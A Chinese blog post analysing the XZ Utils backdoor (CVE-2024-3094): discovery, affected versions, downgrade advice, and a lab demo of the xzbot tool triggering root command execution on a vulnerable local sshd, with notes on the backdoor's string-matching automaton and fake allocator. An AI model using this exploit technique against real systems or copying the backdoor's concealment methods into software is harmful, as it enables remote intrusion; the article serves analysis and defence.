news 2026/4/30 14:18:10

XZ后门事件深度解析:漏洞机理、攻击演示与防御策略

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
XZ后门事件深度解析:漏洞机理、攻击演示与防御策略

XZ 后门 (CVE-2024–3094):事件分析、工具后门解析与防御措施

目录:

  1. 引言
  2. 漏洞详情
  3. 风险评估与缓解措施
  4. CVE-2024–3094 调查
  5. 结论

1- 引言:

一位微软开发人员于周五发布了一项重大发现,震动了科技界:在几乎所有 Linux 和类 Unix 系统中广泛使用的开源数据压缩工具 XZ Utils 中被发现有人故意植入了后门。该项目背后的攻击者可能耗费了数年时间进行开发,并差点将含有后门的更新推送至 Debian 和 Red Hat 等主流 Linux 发行版。然而,他们的计划被一位警惕的软件开发人员发现的可疑活动所挫败。据软件和密码学工程师 Filippo Valsorda 称,这一事件代表了公开讨论中最为复杂和令人担忧的供应链攻击之一,展现了在一个被高度使用的软件库中存在的恶意意图、专业技术以及授权滥用。

XZ Utils 是 Linux 环境中被广泛使用的工具,在包括 Linux 在内的各种类 Unix 操作系统中提供重要的无损数据压缩功能。其功能对于在大量操作中压缩和解压数据至关重要。此外,XZ Utils 支持 .lzma 格式,进一步提升了其重要性。

2- 漏洞详情:

2024年3月29日,在 XZ Utils 中发现的后门引发了人们对受影响系统可能遭受后门访问和远程代码执行的担忧。该后门专门针对运行在使用 glibc、systemd 和打了补丁的 OpenSSH 的系统上的 XZ Utils 5.6.0 和 5.6.1 版本。建议用户立即停止使用并回退到 XZ 5.4.x 版本。该后门在特定条件下激活,可能影响系统性能和安全。这种情况突显了在开源软件生态系统中,关键基础设施过度依赖个别维护者所带来的风险。正在进行的调查旨在全面评估影响,并采取措施减轻该后门带来的风险。

图1:XZ 爆发事件“CVE-2024–3094”的简单图形化说明(来源:Thomas Roccia@FR0GGER)

微软负责 PostgreSQL 解决方案的开发工程师 Andres Freund 最近在 Debian 系统上遇到了与 SSH(通过互联网远程访问设备的主要协议)相关的性能问题。具体表现为 SSH 登录导致 CPU 使用率过高,并在内存监控工具 valgrind 中产生错误。通过偶然的机会和 Freund 的细致检查,最终确定问题源于对 XZ Utils 的更新。Freund 在一个周五在开源安全邮件列表中透露,这些更新是试图向该压缩软件中植入后门的故意行为。

3- 风险评估与缓解措施:

XZ Utils 5.6.0 和 5.6.1 版本中包含的恶意代码改变了软件的功能。该后门影响了用于 SSH 连接的可执行文件sshd。攻击者如果持有特定的加密密钥,就能够通过 SSH 登录证书在被入侵设备上嵌入和执行代码。虽然尚未观察到实际的代码上传行为,但其潜在后果包括窃取加密密钥到安装恶意软件。

使用带有 xz 或 liblzma 5.6.0 或 5.6.1 版本的 glibc 的系统,尤其是那些同时装有 systemd 和打了补丁的 OpenSSH 的系统,均存在漏洞。面向公网的云服务上存在受影响版本的情况会带来更高的风险,需要立即更新以解决漏洞。云提供商的底层系统或服务可能依赖这些易受攻击的版本,这强调了验证和更新实例或咨询提供商公告的重要性。对反混淆脚本的分析表明,该漏洞仅存在于特定的 Linux x86_64 版本中,因为该脚本会动态决定是否更改构建过程,如下图所示。

图2:此函数用于验证目标操作系统是否为 x86-64 Linux。

下表列出了受影响的发行版以及针对每个发行版建议采取的措施。

表1:受影响发行版、操作系统和软件包的列表,以及解决漏洞的建议(来源:arstechnica.com, 2024)。

为解决该漏洞,建议用户立即停止使用 xz-utils 压缩工具并回退到 xz-5.4.x。降级这些软件包的说明可以在提供的链接中找到。采用深度防御策略可以加强安全措施,帮助减轻工作负载中的漏洞,保护其免受恶意活动的侵害。

此外,配置持续集成/持续部署(CI/CD)流水线,使其在特定条件下停止构建过程,可以防止包含已识别漏洞的代码被部署到生产环境。Aqua Enforcer 的恶意软件检测功能会主动扫描节点以发现 xz-utils 后门利用行为,并在检测到时及时通知管理员,以便快速响应和缓解。

4- CVE-2024–3094 调查

调查包含以下组件:

  • 蜜罐:模拟易受攻击的服务器,旨在识别漏洞利用尝试。
  • ed448 补丁:修改 liblzma.so 以包含我们自定义的 ED448 公钥。
  • 后门格式:后门负载的结构。
  • 后门演示:用于触发远程代码执行(RCE)的命令行界面(CLI),前提是拥有 ED448 私钥。

4.1. 后门演示

$ go install github.com/amlweems/xzbot@latest $ xzbot -h Usage of xzbot: -addrstringssh serveraddress(default"127.0.0.1:2222") -seedstringed448 seed, must match xz backdoorkey(default"0") -cmdstringcommand to run viasystem() (default"id > /tmp/.xz")

以下命令将连接到位于127.0.0.1:2222的易受攻击的 SSH 服务器,并运行命令id > /tmp/.xz

我们可以在易受攻击的服务器上设置一个监视点,以监控system()函数的调用,并观察命令的执行。

$ bpftrace -e'watchpoint:0x07FFFF74B1995:8:x {printf("%s (%d): %s\n", comm, pid, str(uptr(reg("di"))))}' Attaching 1 probe... sshd (1234): id > /tmp/.xz $ cat /tmp/.xz uid=0(root) gid=0(root) groups=0(root)

利用成功后,进程树看起来与典型的 sshd 进程树不同。

# 正常进程树 $ ssh foo@bar $ ps -ef --forest root 7651 0 17:58 ? 00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups root 1026 7651 7 18:51 ? 00:00:00 \_ sshd: foo [priv] foo 1050 1026 0 18:51 ? 00:00:00 \_ sshd: foo@pts/1 foo 1051 1050 0 18:51 pts/1 00:00:00 \_ -bash # 后门进程树 $ xzbot -cmd 'sleep 60' $ ps -ef --forest root 7651 0 17:58 ? 00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups root 941 7654 1 18:04 ? 00:00:00 \_ sshd: root [priv] sshd 942 941 0 18:04 ? 00:00:00 \_ sshd: root [net] root 943 941 0 18:04 ? 00:00:00 \_ sh -c sleep 60 root 944 943 0 18:04 ? 00:00:00 \_ sleep 60

请注意,成功的漏洞利用不会产生任何 INFO 或更高级别的日志条目。

4.2. 自动机的字符串识别器

Florian Weimer 提取的后门代码版本不包含任何可读的 ASCII 字符串或经过混淆的 ASCII 字符串。相反,它包含一个单一状态自动机,用于识别特定字符串。搜索字符串涉及将所有可能的起始地址输入到字符串检测自动机,并验证是否识别出所需的字符串。识别后,字符串检测自动机会分配一个字符串 ID。

实现字符串检测自动机的函数是_Lsimple_coder_update_0,其特征如下:

(此部分为大量字符串ID与其对应字符串的映射关系,列表较长,省略具体内容以保持简洁。这些字符串包括如'/usr/sbin/sshd\x00''Accepted password for '、各种加密函数名、环境变量名、库函数名等,主要用于在后门运行时识别和定位关键内存地址或函数。)

4.3. 模拟内存分配器

在 liblzma 内部,存在一个内存分配层,它简单地将分配和释放调用重定向到指定的分配器。调用带有指定分配器对象的lzma_alloclzma_free本质上是触发该对象内的一个函数指针,这个指针可能与实际的内存分配操作有关,也可能无关。该后门包含一个伪造的分配器对象,它执行符号查找而不是实际分配,并且在释放时不执行任何操作。查找函数接受一个字符串 ID(参见上一节)作为大小参数。由于字符串 ID 可以被 8 整除,并且范围在 10 到 0xd10 之间,因此它们最初看起来是可行的大小。这个伪造的分配器对象由.Lstream_decoder_memconfig.part.1提供。

分配器结构包含一个传递给分配和释放函数的上下文指针。对于这个伪造的分配器,其不透明的opaque成员指向内部的 ELF 模块描述符记录。典型的使用模式(假设为返回伪造分配器的函数起了一个合理的符号名)如下:

lzma_allocator*fake_alloc=GetFakeAllocator();fake_alloc->opaque=libc_elfmodule;void*symbol=lzma_alloc(0xAB8,fake_allocator);// 0xAB8: 字符串 "setresuid" 的 ID// 使用符号,可能调用它,或者将其存储在某处lzma_free(symbol,fake_allocator);// 只是个幌子,什么都不做

需要注意的是,后门对象本身并不包含lzma_alloclzma_free;这些是由 liblzma 中非后门代码提供的标准函数。

5- 结论

XZ Utils 中故意植入后门的披露,突显了开源软件中供应链攻击的持续威胁。开发人员和安全专家在检测和缓解该后门方面的迅速响应,强调了保持警惕和采取主动安全措施的重要性。这也提醒我们,依赖外部库和组件会带来复杂的相互依赖性和风险,需要持续监控和更新以防止潜在的漏洞利用。在调查和解决 XZ 后门方面的协调努力,展现了网络安全社区在应对新出现威胁和保护关键软件基础设施方面的韧性。
CSD0tFqvECLokhw9aBeRqg7hBpseDJ45eX7wRsf5iUPQGgPhwrZ8WHIvRaEIdMa5yZIpWXqanDXsN5nymclK8ynlvwadp8Gfgn1RDJjwm3Di1OopQ6PgTBR3msffaToRsBsXQ72++/mo3yhMuY7x9hIfI7fuao1A9nkTDXfFFuY=
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/1 9:30:39

基于python的开放自习室座位预约管理系统设计与实现

基于Python的开放自习室座位预约管理系统设计与实现 第一章 系统整体架构设计 基于Python的开放自习室座位预约管理系统以“高效利用资源、便捷用户预约”为核心目标,采用“前端-后端-数据层”三层架构。系统核心包含五大功能模块:用户管理模块、座位管理…

作者头像 李华
网站建设 2026/5/1 6:47:37

2026包装设计纹理素材推荐:10个网站提升设计质感!

包装设计里,纹理素材就像给产品加了一层“隐形滤镜”——能让消费者光看图片就感受到质感,瞬间拉近和品牌的距离。如果你正愁找不到合适的纹理素材,这篇文章绝对能帮到你!下面为你整理了10个优质素材网站,每个都能找到…

作者头像 李华
网站建设 2026/5/1 5:43:05

【RabbitMQ】延迟队列 事务 消息分发

文章目录一、延迟队列一、概念 && 应用场景二、TTL死信队列实现该实现方式存在的问题🐔三、延迟队列插件① 安装延迟队列插件② 基于插件延迟队列实现四、两种实现方式的区别二、事务一、配置事务管理器二、声明队列三、发送消息时打开事务三、消息分发一、…

作者头像 李华
网站建设 2026/5/1 5:44:58

2026年程序员转行为什么推荐选网络安全?一文详解分析!

记得曾经有人说过这样一个俗语:三百六十行,行行转IT。或许听到这个话的时候会觉得是一句玩笑话,但是浏览到网络上一些关于就业的文章,就能够明白这句话的真正意义所在。随着互联网的发展,越来越多人选择,甚…

作者头像 李华
网站建设 2026/5/1 7:51:38

【python】python有必要像go或者nodejs那样做多版本切换吗?

Python 多版本切换:必要性分析 Python 生态的核心设计思路(对比Go/Node.js) 你的这个问题非常核心且专业,问到了 Python 生态和 Go/Node.js 最本质的设计差异:Python 并非「不需要」多版本切换,而是「必要…

作者头像 李华